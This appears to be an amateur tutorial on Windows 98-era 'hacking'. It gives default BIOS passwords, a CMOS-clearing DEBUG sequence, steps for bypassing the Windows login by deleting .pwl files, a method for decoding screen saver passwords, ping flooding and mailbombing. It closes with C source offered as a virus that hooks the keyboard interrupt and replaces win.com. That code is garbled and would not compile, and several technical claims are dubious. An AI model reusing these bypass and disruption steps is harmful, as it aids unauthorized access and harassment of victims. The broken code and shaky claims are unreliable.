Hacking

1. Introduction:
Hacking is an intellectual activity and a sort of mental
gymnasium. Hackers are really intellectual people who have
the extra bit of information.

Hackers were computer geeks who knew everything

about the way of software works. They have this uncanny
ability of finding out ways of doing the impossible.

They debug code and use trial and error methods to

discover unknown and new tricks and secrets. They do try to
break into systems but have the decency not to cause any
damage but instead they report the whole to the system
administrator.

2. Hackers Vs Crackers:
A hacker is a computer freak who peeps into others
computers without harming them. Hackers are actually nice
people from which you could actually learn a lot.

However, after saying all this I must admit that there is

a thin line between hackers and crackers.

Crackers are the nerd persons with an intention of

harming others computers. Besides unauthorized entry they
try to destroy others resources.

3. Hacking BIOS passwords:

BIOS are the basic settings on your computer, such as
how many and what kinds of disk drives you have, which

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ones are enabled and which are disabled and which ones are
used for booting. These settings are held in the CMOS chip
on the motherboard.

A common method of entering the BIOS is pressing the

Del key at boot up. Most computers have BIOS which can be
configured to ask for a password as soon as the computer is
switched on. If the ask password option is enabled then as
soon as the PC is switched on, a dialog box welcomes you
and asks for the password. You cannot override this and
there is no way of disabling this because to enter the BIOS
you need to know the BIOS password. Disable it by hacking
into the BIOS setup. The most common method of overriding
this password prompt is by trying out some default BIOS
passwords. Some common passwords are:
J262
AWARD_SW
AWARD_PW

The Company name and version of the BIOS is

displayed on the screen each time the system boots.

If the default passwords did not work, the other way is

remove the lithium battery from the computer and put it
back after 30 seconds.

On many computers a series of keystrokes may carsh

the password program. Boot the PC and wait for the
password prompt, then keep pressing Ctrl + Esc 50 to 100
times. This will result in the crashing of the password
program and the computer will continue booting.

This is a password hack but it just clears the BIOS so

that the next time you start the PC, the CMOS does not ask
for any password. To clear the CMOS, do the following:
Get DOS and type:
DEBUG, hit enter
-0 70 2e hit enter

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-0 71 ff hit enter
-q hit enter
exit hit enter

Restart the computer

4. Windows torn apart:

Hacking Windows Login Passwords:

To hack the windows login password, reboot and wait

for the message:

“Starting Windows 98…”

When you see this on the screen, press F8. The boot
menu will come up. Select option 7, to boot into Dos. Then
go to the windows directory by typing
C :\> cd windows

Then rename all files with the extension .pwl by typing

the following command:

C: \windows>ren *.pwl *.xyz

Or, delete them by typing

C:\windows>del *.pwl

Now when the windows password login pops up, you

can write any thing in the place where the password has got
to be typed. Windows just takes it as the original password.

Suppose if the F8 key is disabled then boot from the

floppy and delete *.pwl from windows directory.

There is a way of disabling the F8 key. Simply follow the

following steps.

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1. Find the file msdos.sys which can be found at c:\. Since
this is a hidden system file, you will have to make it
writeable by changing its attributes and by typing
C:\>attrib msdos.sys –h –w
2. Open msdos.sys in WordPad
3. you will see something that looks like this:
; FORMAT
[Paths]
WinDir=C: \WINDOWS
WinBootDir=C: \WINDOWS
HostWinBootDrv=C
[Options]
BootMenu=0(default)
BootMulti=1
BootGui=1
DoubleBuffer=1
AutoScan=1
WinVer=4.10.1998
;

To disable the function keys during boot up, directly

below [Options] you insert the following keys of code:
“BootDelay=0”
4. Since msdos.sys is an important system file you should
change its attributes back to read only and hidden by
typing

attrib msdos.sys +h +r

Changing Windows Visuals:

Changing windows logo:

If your computer is configured to work normally, then a

boring blue screen saying “Welcome to Windows 98” will
welcome every time you boot your system. The following
procedure will change it to the way the user wants Look for
file named logo.sys. As it is a system file it is kept hidden.
Change its attributes by doing the following

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Go to MSDOS
Type the following:
C:\windows\attrib logos.sys –s –h –r

Now, do the following steps to get welcome screen you want

Step1. Open MSPaint

Step2. From the File Menu select Open
Step3. Open c:\Windows\logos.sys
Step4. This opens the boring screen. You can change and
save it as logos.sys as shown in fig(a)
Step5. Type at command prompt attrib logos.sys +h +r +s

Changing Shut Down Screen:

Go to command prompt and make logow.sys writable

Open in paint change what you want and save it as
logow.sys

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This changes the boring shut down screen

Hacking windows screen saver password:

This is an interesting hack and not many people know

about it. This requires no canned hacking tool, we will crack
the password manually.

If a screen saver is password protected, then it does not

allow us to do anything on a system until and unless we
enter the password. Here, not even CTRL+ALT+DEL works.

To begin with, Windows stores the encrypted password

in a file called “user.dat” file in the Windows directory. Test
the coding scheme in your own system by giving the letters
whose codes you are to know. Now you are armed with the

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letters and their corresponding codes and you are at a step
to break any password.

For example, let the password be DOPE. Then the

encryption scheme is:

D = 0C
O = A1
P = 26
E = 58

To break this password, open the user.dat file and

extract the corresponding codes by comparing with the
codes we have.

Customize your Operating System by Editing

Explorer.exe:

Do not try to edit explorer.exe in Dos while running

windows. It is a read only file and windows will not allow you
to edit.
Restart the computer in MSDOS
Once you get your Dos Prompt go to windows directory by
typing
C:\>cd windows
Once you are in windows directory, open the file
explorer.exe in MSDOS editor .i.e. type
C:\windows>edit/70 explorer.exe
The screen would look like full of weird characters of
something in machine language. Actually, each symbol has a
numeric value that we can see at the right bottom of the
screen at VALUE:

Line: 2334 to line: 2348 deal with what appears when you
click the Start Button, You can change the name of Shut
Down to any name, even the Programs to Hackings.

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 Then at line 2390 comes a very interesting part. This
line lets us change the text on START button to any thing we
want, you can have your name on the START button even
your name is 132 letters long!!!

If you see carefully on LINE: 2390 you will find that a

clubs symbol precedes S t a r t. If you move the cursor over
the cursor over the club you will find that its value is 5. So,
the text after the clubs symbol, in this case S t a r t has to be
of 5 letters. Now, if you want to replace Start and in its place
put something like stop which is 4 letters; then you will
search for a symbol whose numeric value is 4 and paste it
over clubs symbol.

5. Registry Hacking:
Structure of Registry:

The registry is a hierarchical database that contains

virtually all information about yours computer’s
configuration.

The registry editor is a utility by the filename

regedit.exe that allows you to see, search, modify and save
the registry database of windows.

The registry editor is divided into two sections. In the

left one there is a hierarchical structure of the database in
the right one, there are the values.

The principal keys of the registry are:

HKEY_LOCAL_MACHINE:

This key contains any hardware, applications and

services information. Several hardware information is
updated automatically while the computer is booting. The
data stored in this key is shared with any user.

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HKEY_CLASSES_ROOT:

This key is an alias of the branch

HKEY_LOCAL_MACHINE\Software\Classes and contains OLE,
drag ‘n’ drop, shortcut and file association information.

HKEY_CURRENT_CONFIG

This key is also an alias of

HKEY_LOCAL_MACHINE\Config, with the current computer
configuration.

HKEY_DYN_DATA

Some information in registry changes frequently, so

windows maintains part of the registry in memory instead of
on the hard disk. For example, it stores Computer
performance

HKEY_USERS

This contains the information about different users

existing on the system.

HKEY_CURRENT_USER

This keep track of current user existing in the system.

Disabling display of drives in My Computer:

To disable the display of local drives when you click My

Computer go to:
HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Policies\Explorer

Now, in the right pane create a new DWORD item and

name it NoDrives. Modify its value and set it to 3FFFFFF.
Press F5 to refresh. When you click on My Computer, no

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drives will be shown. To enable the display of drives in My
Computer, simply delete this DWORD item.

CLSID Folders:

The folders like Control Panel, Dial up Networking etc

are system folders. Each system folder has a unique CLSID
key or Class Id which is a value.

The following are the CLSID values of the most

commonly used icons:

My Briefcase :{ 85BBD920-42AO-1069-A234-
08002B30309D}

My Computer :{ 20D04FE0-3AEA-1069-A2D8-
08002B303098}

Recycle Bin :{ 645FF040-5081-101B-9F08-00AA002F954E}

To change the name of the Recycle Bin folder go to

HKEY_CLASSES_ROOT\CLSID\ {645FF040-5081-101B-9F08-
00AA002F954E}.
In the right pane change the default to what ever name
you want

To delete the Recycle Bin, go to

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current
Version\explorer\Desktop\namespace

And delete the key {645FF040-5081-101B-9F08-

00AA002F954E}

To remove the Find option from the go to

HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Policies\Explorer

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 Right click on the right pane and select New, DWORD
value. Name it NoFind. Double click the newly created
DWORD to edit its value and enter 1 as its value. This will
disable the FIND option of the Start Menu.

To restore the FIND command, simply delete the

DWORD value.

6. Peeping the Internet:

Ping:

Ping is a part of ICMP protocol, i.e. the Internet Control

message Protocol, that is used to trouble shoot the TCP\IP
networks.

Ping is a command which sends out a datagram to the

specified host. This specified host if alive, i.e. turned on,
sends out reply or echoes off the same datagram. If the
datagram that returns to your computer has the same
datagram that was sent, then it means that the host is alive.
So ping is a command that allows you to check if a host is
alive or not. It can also be used to calculate the amount of
time taken for a datagram to reach the Host.

It is so deadly that it can be used to ping a hostname

perpetually that may even cause the Host to crash. Now,
what happens is that when a host receives a ping signal, it
allocates some of its resources to attend to or echo back the
datagram. Now if you ping a host perpetually, then time will
occur when all resources of the host are used and the host
either hangs or restarts.

You can even ping yourself. The IP 127.0.0.1 is the local

host. This means that when you connect to 127.0.0.1, you
actually connect to your own machine. So to ping yourself
perpetually, issue the following command:

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 Ping –t 127.0.0.1

Tracert:

When you type hotmail.com in your browser then your

request passes through a large number of computers before
reaching hotmail.com. Or when you login to your shell
account and type the password then this password passes
through large number of computers before reaching the shell
account server. To find the list of servers the password or
request passes through, one can use the TRACERT
command.

Mailbombing:

Mail bombing means to send a huge number of e-mails

to a single e-mail account so that the maximum space of the
account is filled up and the owner of the account cannot
receive any important e-mails and it becomes difficult for the
user to read existing e-mails.

All e-mail accounts have a maximum space limit. For

example, Yahoo has a space limit of 4MB. Now if this
maximum space is filled up then no new messages can come
and the mail server sends back any new messages that
come so, if the victim who has been mailbombed is
expecting any new important messages, that he can pretty
much kiss them good bye.

7. Towards Cracking:
Virus:

Here we have a sample C code to illustrate a sample

virus that cracks “Win.com”.

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 The notion is to conquer the IVT, alter the entry
corresponding to interrupt number 0X09 to our user defined
program fragment. When any key is pressed, the control
transfers to our code, where we unload the command.com
using system (exit) function to shut down the computer.

#include<stdio.h>
#include<process.h>
#define INTR 0x09

void interrupt (* oldhandler)(…);

void interrupt handler()

{
system(exit);
FILE *fp=fopen(c:\\windows\\win.com”);
Fseek(fp,0,SEEK_END);
long l=ftell(fp);
if(l==123)
{
fclose(fp);
return;
}
System(“cd c:\\windows”);
System(“ren win.com oldwin.com”);
System(“ren mywin.com win.com”);
fclose(fp);
}

int main(void)
{
/* save old interrupt vector*/
oldhandler =getvect(INTR);

/*Install the new interrupt handler*/

setvect(INTR,handler);

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 keep(500);
return 0;
}

/*MyWin.cpp*/

#include<process.h>
main()
{
int result;
result=spawnl(P_WAIT,”tsr.exe”,null);
if(result==-1)
{
perror(“error from spawnl”);
}
return 0;
}

8. Pros & Cons:

Pros:

1. Fortifies security in a devious fashion

2. checks for loop holes in our application
3. calls for high thinking and analyzing capability
4. explore the uncovered

Cons:

1. Risk of getting misunderstood

2. Risk in loss of sensitive data

9. Conclusion:

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 At the deducting part, I am to utter that hacking is a
paranormal activity.

All hackers know that an important hacker ethic is

never to delete files, or cause any damage. Make good use
of your additional bit adorning your thought.

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